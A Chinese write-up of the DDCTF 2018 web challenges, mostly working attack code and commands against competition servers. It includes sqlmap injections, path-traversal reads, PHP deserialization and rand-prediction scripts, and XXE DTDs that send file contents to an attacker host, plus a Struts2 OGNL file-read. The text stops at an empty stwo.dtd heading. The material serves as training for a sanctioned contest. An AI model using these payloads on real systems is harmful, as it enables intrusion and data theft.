传送门: DDCTF 2018 writeup(二) 逆向篇
一. 关于DDCTF
滴滴出行第二届DDCTF高校闯关赛已经落幕,我们在此公布DDCTF2018writeup,此篇文章由本次比赛第二名HenryZhao提供。此外,比赛平台和赛题将继续开放一年,供选手们学习分享。
比赛平台地址:http://ddctf.didichuxing.com/
二. WEB writeup
0x01 Web 1 数据库的秘密
X-Forwarded-For
欺骗,之后看到三个搜索框和一个数据表格,如图。随便执行一次搜索发现 GET 参数中会出现 sig 签名字段和 time 时间字段。猜测存在签名,于是对源码进行分析,签名逻辑位于main.js
分析网页 main.js
,美化后的 JavaScript 如下:
// key 位于主页 JS 中,此处不再单独截图。内容是 adrefkfweodfsdpiru
var key="141144162145146153146167145157144146163144160151162165"
function signGenerate(obj, key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
var obj = {
id: '',
title: '',
author: '',
date: '',
time: parseInt(new Date().getTime() / 1000)
};
function submitt() {
obj['id'] = document.getElementById('id').value;
obj['title'] = document.getElementById('title').value;
obj['author'] = document.getElementById('author').value;
obj['date'] = document.getElementById('date').value;
var sign = signGenerate(obj, key);
document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
document.getElementById('queryForm').submit()
}
从 JavaScript 中可以得知,签名为特定字符串拼接后的 SHA1,构造方式为 id=title=author=date=time=adrefkfweodfsdpiru
,每个等号之后连接响应字段值。另外可以看到 obj 中含有author
,这个输入字段在网页上为 hidden
状态,十分可疑。
对于此题,我采用了使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入即可。proxy.php
代码如下:
<?php
@$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date'];
$time = time();
$sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');
$ch = curl_init();
$post = [
'id' => $id,
'title' => $title,
'author' => $author,
'date' => $date,
];
curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: 123.232.23.245',
));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);
$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);
http_response_code($ch_info['http_code']);
//header($header);
//echo $header;
echo $body;
sqlmap 一把梭,对代理 PHP 页面进行注入,注入点果然位于author
,获得 flag。
sqlmap.py -u 'http://127.0.0.1/proxy.php?author=admin' --dump
0x02 Web 2 专属链接
任意文件读取
打开网页后是一个滴滴的页面,题目中有备注链接至其他域名的链接与本次CTF无关,请不要攻击
,因此只关注当前 IP 下的内容。
网页图标出现了奇怪的花纹,引起注意。对应的是 HTML 中的
<link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">
对 ZmF2aWNvbi5pY28=
进行 base64 解码,得到 favicon.ico
,猜测存在任意文件读取。
使用二进制编辑器打开 favicon.ico
后发现文件中多次出现 you can only download .class .xml .ico .ks files 字符串。
尝试下载 web.xml
,一番寻找后发现其位于../../WEB-INF/web.xml
,base64 编码后访问地址 /image/banner/Li4vLi4vV0VCLUlORi93ZWIueG1s
下载文件。
从 web.xml
中收集信息,比如 applicationContext.xml
, mvc-dispatcher-servlet.xml
,com.didichuxing.ctf.listener.InitListener
,并继续下载对应的 xml 与 class 文件。
以 com.didichuxing.ctf.listener.InitListener
为例,class 文件位于../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class
。
如此循环收集信息+下载的过程。
最终下载文件列表如下:
.
├── class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_HomeController.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_FlagController.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_StaticController.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_dao_FlagDao.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_listener_InitListener.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_model_Flag.class
│ ├── _.._WEB-INF_classes_com_didichuxing_ctf_service_FlagService.class
│ └── _.._WEB-INF_classes_com_didichuxing_ctf_util_StringUtil.class
└── xml
├── _.._WEB-INF_applicationContext.xml
├── _.._WEB-INF_classes_mapper_FlagMapper.xml
├── _.._WEB-INF_classes_mybatis_config.xml
├── _.._WEB-INF_classes_sdl.ks
├── _.._WEB-INF_mvc-dispatcher-servlet.xml
└── _.._WEB-INF_web.xml
2 directories, 14 files
源码审计
使用 jd-gui
审计 class
文件,
listener/InitListener.class
初始化生成 flag,加密flag,Hmac email 并存储。代码中可看到 email 为 HmacSHA256 ,密钥为 sdl welcome you
!
蓝色框内为加密 flag 相关代码,红色框内为 Hmac email 相关代码。
controller/user/FlagController.class
用 email Hmac 获取加密后的 flag ,使用了 getFlagByEmail 函数,测试 flag 使用了 exist 函数。
根据以上两个函数于 _.._WEB-INF_classes_mapper_FlagMapper.xml
中进行分析。
可以发现存储于 email 列的内容为 Hmac email,当我们验证 flag 是查找的是 originFlag,也就是原始 flag。
<resultMap id="flag" type="com.didichuxing.ctf.model.Flag">
<id column="id" property="id"/>
<result column="email" property="email"/>
<result column="flag" property="flag"/>
</resultMap>
<insert id="save">
INSERT INTO t_flag VALUES (#{id}, #{email}, #{flag}, #{originFlag},#{uuid},#{originEmail})
</insert>
......
<select id="getByEmail" resultMap="flag">
SELECT *
FROM t_flag
WHERE email = #{email}
</select>
......
<select id="exist" resultType="java.lang.Integer">
SELECT *
FROM t_flag
WHERE originFlag = #{originFlag}
</select>
使用 email
的
Hmac
从 /flag/getflag/
获取 flag 密文,相关计算方法可从初始化的 class 中获得。
此处我使用了 java 实现相关逻辑,算得 Hmac email 为 456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6
,相关代码见后。
curl -X POST http://116.85.48.102:5050/flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 -v
* Trying 116.85.48.102...
* Connected to 116.85.48.102 (116.85.48.102) port 5050 (#0)
> POST /flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 HTTP/1.1
> Host: 116.85.48.102:5050
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=ISO-8859-1
< Content-Length: 529
< Date: Sat, 21 Apr 2018 04:22:30 GMT
<
Encrypted flag : 15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3
* Connection #0 to host 116.85.48.102 left intact
获得 flag 密文之后,再按照反编译的 class 代码进行解密。
这里有个坑,程序加密 flag 时,使用的是 私钥 ,因此我们应当使用 公钥 进行解密操作。
解密后得到DDCTF{6365053991435533423}
。
编写 java,计算 Hmac 与解密 flag ,代码如下:
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
public class Main {
public static void main(String[] args) {
try {
String email = "[email protected]";
String flag_e_hex="15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3F6692A2FC7CE6B230";
// Hmac email
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
System.out.println(byte2hex(mac.doFinal(String.valueOf(email.trim()).getBytes())));
// Decrypt flag
String p = "sdlwelcomeyou";
String ksPath = "sdl.ks";
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
KeyStore.PasswordProtection keyPassword = //Key password
new KeyStore.PasswordProtection("sdlwelcomeyou".toCharArray());
KeyStore.PrivateKeyEntry privateKeyEntry = (KeyStore.PrivateKeyEntry) keyStore.getEntry("www.didichuxing.com", keyPassword);
java.security.cert.Certificate cert = keyStore.getCertificate("www.didichuxing.com");
// Get **public key** for decrypt
PublicKey publicKey = cert.getPublicKey();
PrivateKey privateKey = privateKeyEntry.getPrivateKey();
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
System.out.println(key.getAlgorithm());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
// 2 for decrypt
cipher.init(2, publicKey);
System.out.println(new String(cipher.doFinal(hex2byte(flag_e_hex))));
}
catch (KeyStoreException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (CertificateException e) {
e.printStackTrace();
} catch (UnrecoverableKeyException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
} catch (InvalidKeyException e) {
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
} catch (UnrecoverableEntryException e) {
e.printStackTrace();
}
}
public static String byte2hex(byte[] b)
{
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
public static byte[] hex2byte(String str)
{
byte[] bytes = new byte[str.length() / 2];
for (int i = 0; i < bytes.length; i++)
{
bytes[i] = (byte) Integer
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
}
return bytes;
}
}
0x03 Web 3 注入的奥妙
宽字节注入
网页注释给出了一个 Big-5 编码表的链接,故使用宽字节。关于宽字节注入我参考了这篇文章(http://www.evilclay.com/2017/07/20/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%85%A5%E7%A0%94%E7%A9%B6/)。
查询 Big-5 编码表,寻找编码结尾为 5C 的字符,此处给出一个可用 payload %E8%B1%B9'
。
注入过程中发现字符串单次替换,例如 union
users
等,手工注入读取 information_schema
获得表名与列名。
由于存在不同数据使用了不同编码导致报错,我们对查询的参数进行强制编码转换 COLLATE utf8_general_ci
。
此处给出一个最终列出 router_rules
数据的 payload:
/well/getmessage/1%E8%B1%B9’ and 2=1 uniunionon select `id`,`pattern` COLLATE utf8_general_ci,`action` COLLATE utf8_general_ci from route_rules – –
id | pattern | action | rulepass |
1 | get*/ | u/well/getmessage/ | u/well/getmessage/ |
12 | get*/ | u/justtry/self/ | u/justtry/self/ |
13 | post*/ | u/justtry/try | u/justtry/try |
15 | static/bootstrap/css/backup.css | static/bootstrap/css/backup.zip |
访问 static/bootstrap/css/backup.css
获得网站代码备份文件,开始代码审计。
PHP 反序列化
对网站源代码进行审计,发现 Controller/Justtry.php
中 try($serialize)
存在可控的反序列化,故在构造析构函数中寻找能够利用的点。
于 Helper/Test.php
中发现调用 getflag()
且存在 $this->fl->get($user)
故推测 $fl
应为 Flag
类。
题目关键代码如下:
// Controller/Justtry.php
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
}
// Helper/Test.php
class Test
{
public $user_uuid;
public $fl;
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}
public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}
// Helper/Flag.php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}
// Helper/SQL.php
class SQL
{
public $dbc;
public $pdo;
}
注意类的 命名空间 问题,如果构造的类为根路径,会导致类未初始化的错误。
我使用了 namespace IndexHelper
方式指定了全局命名空间。
序列化字符串构造 PHP 如下:
<?php
/**
* Created by PhpStorm.
* User: Henryzhao
* Date: 2018/4/14
* Time: 20:34
*/
namespace IndexHelper;
class Test {
public $user_uuid;
public $fl;
}
class Flag {
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
}
class SQL {
public $dbc;
public $pdo;
}
class FLDbConnect {
protected $obj;
}
$a = new Test();
$a->user_uuid = '2a9597b9-954d-4cbb-a00b-687f6df00d54';
$a->fl = new Flag();
echo serialize($a).PHP_EOL;
echo urlencode(serialize($a));
获得如下序列化字符串之后,POST 至 /justtry/try
获得 flag。
O:17:“IndexHelperTest”:2:{s:9:“user_uuid”;s:36:“2a9597b9-954d-4cbb-a00b-687f6df00d54”;s:2:“fl”;O:17:“IndexHelperFlag”:1:{s:3:“sql”;O:16:“IndexHelperSQL”:2:{s:3:“dbc”;N;s:3:“pdo”;N;}}}
0x04 Web 4 mini blockchain
题目:好题!
解法:挖矿!
根据题目描述:
-
“矿机也全部宕机”,当前算力为 0
-
“你能追回所有DDCoins”,需要追回
区块链特性:
-
只承认当前长度最长,工作量证明最大的一条链
-
设定难度为5,需要挖出
hash
开头为 5 个0
的区块
流程:
-
从创世区块重新挖矿至区块高度最高
-
此时银行余额 10000
-
使用后门向商店转账
-
挖出一个新区块,确认获得钻石
-
从上一次银行余额为 10000 的区块开始,再次挖矿至区块高度最高
-
使用后门向商店转账
-
挖出一个新区块,确认获得钻石
-
访问
/flag
获得 flag
挖矿脚本如下:
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import hashlib, json
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
EMPTY_HASH = '0'*64
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
if __name__ == '__main__':
# genesis_block_hash_web = 'bcb6c4b56055351b0bd3229a737581b412336eb9c2dd7e0ed9715584e2449609'
try:
while True:
print "Difficulty: 5.nInput last block hash:",
genesis_block_hash_web = raw_input()
for i in range(0,10000000):
my_block = create_block(genesis_block_hash_web,str(i),[])
if my_block['hash'].startswith('00000'):
print json.dumps(my_block)
break
#print json.dumps(my_block)
except Exception, e:
print str(e)
0x05 Web 5 我的博客
rand 与 str_shuffle 预测
根据题目提示下载 www.tar.gz
获得代码备份。
根据代码我们发现需要注册时的 identity
为 admin
,否则无法进行进一步操作,完成这个步骤需要预测 $admin
。
PHP 中的 str_shuffle()
依赖 rand()
进行字符串随机操作,因此结合上文,可以预测生成的 code
字符串。
参考 PHP 5.6.35 string.c L5394 的 C 语言,实现 str_shuffle()
帮助解题。
PHP 5 中的 rand()
函数存在缺陷,可以通过 rand[i] = rand[i-31] + rand[i-3]
进行预测,网页中的 csrf token
直接暴露了完整的 rand()
结果,因此可以通过获得多次 csrf
来推测之后的结果。
// index.php
if (!$_SESSION['is_admin']) {
die('You are not admin. <br> Please <a href="login.php">login</a>!');
}
// login.php
$sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] === "admin") {
$_SESSION['is_admin'] = true;
} else {
$_SESSION['is_admin'] = false;
}
// register.php
if($_SERVER['REQUEST_METHOD'] === "POST")
{
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
// ... ...
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
// ... ...
if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
// ... ...
} else {
// ... ...
<input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
// ... ...
}
预测并注册代码如下:php_rand()
: 使用前述公式预测 rand()
结果php_str_shuffle()
: python 实现的 PHP str_shuffle()
函数。
import re
import time
import requests
REQ_NUM = 50
PHP_RAND_MAX = 0x7fffffff
DEBUG = False
rand_list = []
gen_rand_i = REQ_NUM
s = requests.Session()
url = 'http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/register.php'
def php_rand():
global gen_rand_i
rand_num = (rand_list[gen_rand_i-31]+rand_list[gen_rand_i-3]) & PHP_RAND_MAX
if DEBUG:
print "Gen rand: " + str(gen_rand_i) + ": " + str(rand_num) + " = " + str(rand_list[gen_rand_i-31]) + " + " + str(rand_list[gen_rand_i-3])
rand_list.append(rand_num)
gen_rand_i += 1
return rand_num
# define RAND_RANGE(__n, __min, __max, __tmax)
# (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * (__n / (__tmax + 1.0)))
def php_rand_range(rand_num, rmin, rmax, tmax):
return int(rmin + (rmax - rmin + 1.0) * (rand_num / (tmax + 1.0)))
# https://github.com/php/php-src/blob/PHP-5.6.35/ext/standard/string.c#L5394
def php_str_shuffle(instr):
str_len = len(instr)
instr = list(instr)
n_elems = str_len
if n_elems <= 1:
return
n_left = n_elems
n_left -= 1
while n_left > 0:
rnd_idx = php_rand()
rnd_idx = php_rand_range(rnd_idx, 0, n_left, PHP_RAND_MAX)
if rnd_idx != n_left:
temp = instr[n_left]
instr[n_left] = instr[rnd_idx]
instr[rnd_idx] = temp
n_left -= 1
return ''.join(instr)
def get_rand_from_web():
r = s.get(url)
return int(re.findall('id="csrf" value="(.*)"',r.text)[0])
def prepare_rand():
global gen_rand_i
r = s.get(url)
#print r.text
for i in range(REQ_NUM):
rand_list.append(get_rand_from_web())
def check_rand():
for i in range(10):
print str(php_rand()) + " <-> " + str(get_rand_from_web())
if __name__ == "__main__":
prepare_rand()
if DEBUG:
check_rand()
for i in range(len(rand_list)):
print str(i) + ": " + str(rand_list[i])
exit()
auth = "admin###" + php_str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[:32]
data = {
'csrf': str(rand_list[REQ_NUM - 1]),
'username': 'hzfinally' + auth[18:20],
'password': auth[10:18],
'code': auth
}
r = s.post(url, data)
print r.text + "n"
print "Code: " + data['code']
print "Username: " + data['username']
print "Passrowd: " + data['password']
多次 sprintf 导致单引号逃逸
获得管理员权限之后,对查询入口进行注入,由于使用了两次 sprintf 可构造 payload 使 ‘ 逃逸。可参考这篇文章(https://paper.seebug.org/386/)。
我们可以构造一个 %1$'
经过 addslashes
变为 %1$'
其中 %1$
为合法的格式化输出表达式,sprintf
将会吃掉 %1$
使得单引号逃逸。
// index.php
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}
最终构造注入指令如下:
sqlmap.py -u"http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/index.php?id=1&title=Welcome!" --prefix="%1$'" --suffix=" -- -" -p title --cookie="PHPSESSID=77238cf069e52ba922d62ed27fc51179" --dump
在 key 表中读取 fl4g DDCTF{9b7ccc1e96387b5ce079adab2fb08022}
0x06 Web 6 喝杯Java冷静下
登录
打开网页看到一个登录框,之后在注释中发现有一条 base64
,解码后为 admin
:
admin_password_2333_caicaikan
获得 admin 用户名密码。
86: </div>
87: <!-- YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu -->
88: </form>
登录后主页是四个下载链接 rest/user/getInfomation?filename=informations/readme.txt
,想到任意文件读取。
任意文件读取
搜索 quick4j
得知这是一个开源项目,获得源代码结构,使用 wget 一把梭,全拖下来。
wget -i filelist.txt --content-disposition --header "Cookie: JSESSIONID=0D8E262608F4C24C575F8F2138653409"
文件列表如下,已删除每行开头的 http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=
WEB-INF/classes/com/eliteams/quick4j/core/entity/DaoException.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/ErrorResult.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/JSONResult.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/Result.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/ServiceException.class
WEB-INF/classes/com/eliteams/quick4j/core/entity/UserException.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/RedisCache.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/Dialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/DialectFactory.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSPageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5Dialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5PageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/OracleDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgreDialect.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgrePageHepler.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/Page.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationResultSetHandlerInterceptor.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationStatementHandlerInterceptor.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/feature/test/TestSupport.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericDao.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericEnum.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericService.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/core/generic/package-info.class
WEB-INF/classes/com/eliteams/quick4j/core/util/ApplicationUtils.class
WEB-INF/classes/com/eliteams/quick4j/core/util/CookieUtils.class
WEB-INF/classes/com/eliteams/quick4j/core/util/PasswordHash.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/CommonController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/FormController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/PageController.class
WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.class
WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/enums/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/filter/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/interceptors/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/model/Permission.class
WEB-INF/classes/com/eliteams/quick4j/web/model/PermissionExample.class
WEB-INF/classes/com/eliteams/quick4j/web/model/Role.class
WEB-INF/classes/com/eliteams/quick4j/web/model/RoleExample.class
WEB-INF/classes/com/eliteams/quick4j/web/model/User.class
WEB-INF/classes/com/eliteams/quick4j/web/model/UserExample.class
WEB-INF/classes/com/eliteams/quick4j/web/security/OperationType.class
WEB-INF/classes/com/eliteams/quick4j/web/security/package-info.class
WEB-INF/classes/com/eliteams/quick4j/web/security/PermissionSign.class
WEB-INF/classes/com/eliteams/quick4j/web/security/Resource.class
WEB-INF/classes/com/eliteams/quick4j/web/security/RoleSign.class
WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/PermissionServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/RoleServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/impl/UserServiceImpl.class
WEB-INF/classes/com/eliteams/quick4j/web/service/PermissionService.class
WEB-INF/classes/com/eliteams/quick4j/web/service/RoleService.class
WEB-INF/classes/com/eliteams/quick4j/web/service/UserService.class
Super_admin
审计代码后发现 UserController.class
下有 /user/nicaicaikan_url_23333_secret
路由,可以上传 XML ,但需要 super_admin 权限,怀疑 XXE。获得提示读取 /flag/hint.txt
。
继续审计发现,security/SecurityRealm.class
中,有一段代码提示了 super_admin 的密码。
询问谷歌老师后获得 StackOverflow 老师的回答(https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero),得知 String f5a5a608
的 hashCode 为 0.
获得用户 superadmin_hahaha_2333: f5a5a608
XXE
根据代码启用了 ExpandEntityReferences
,并且限制了提交 XML 长度为 1000 ,无回显,选择 XXE 盲打。
由于存在长度限制,因此选择使用外部 DTD 加载的方式进行攻击。发送 payload 如下:
/rest/user/nicaicaikan_url_23333_secret?xmlData=<!DOCTYPE data SYSTEM "http://111.222.333.444/stwo.dtd"><data>%26send;</data>
构造读取文件 readfile.dtd
:
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;
读取得到:
Flag in intranet tomcat_2 server 8080 port.
构造读取文件 tomcat2.dtd
:
<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;
读取得到:
try to visit hello.action.
构造读取文件 tomcat2h.dtd
:
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all;
读取得到:
This is Struts2 Demo APP, try to read /flag/flag.txt
尝试直接使用 S2-016 命令执行 PoC cat /flag/flag.txt
文件时,提示只允许读取文件,于是构造如下 OGNL 表达式:
${
#context["xwork.MethodAccessor.denyMethodExecution"]=false
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)
#w=new java.io.File("/flag/flag.txt")
#a=new java.io.FileInputStream(#w)
#b=new java.io.InputStreamReader(#a)
#c=new java.io.BufferedReader(#b)
#d=new char[60]
#c.read(#d)
#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
#genxor.println(#d)
#genxor.flush()
#genxor.close()
}
构造 struts2 攻击 stwo.dtd
:
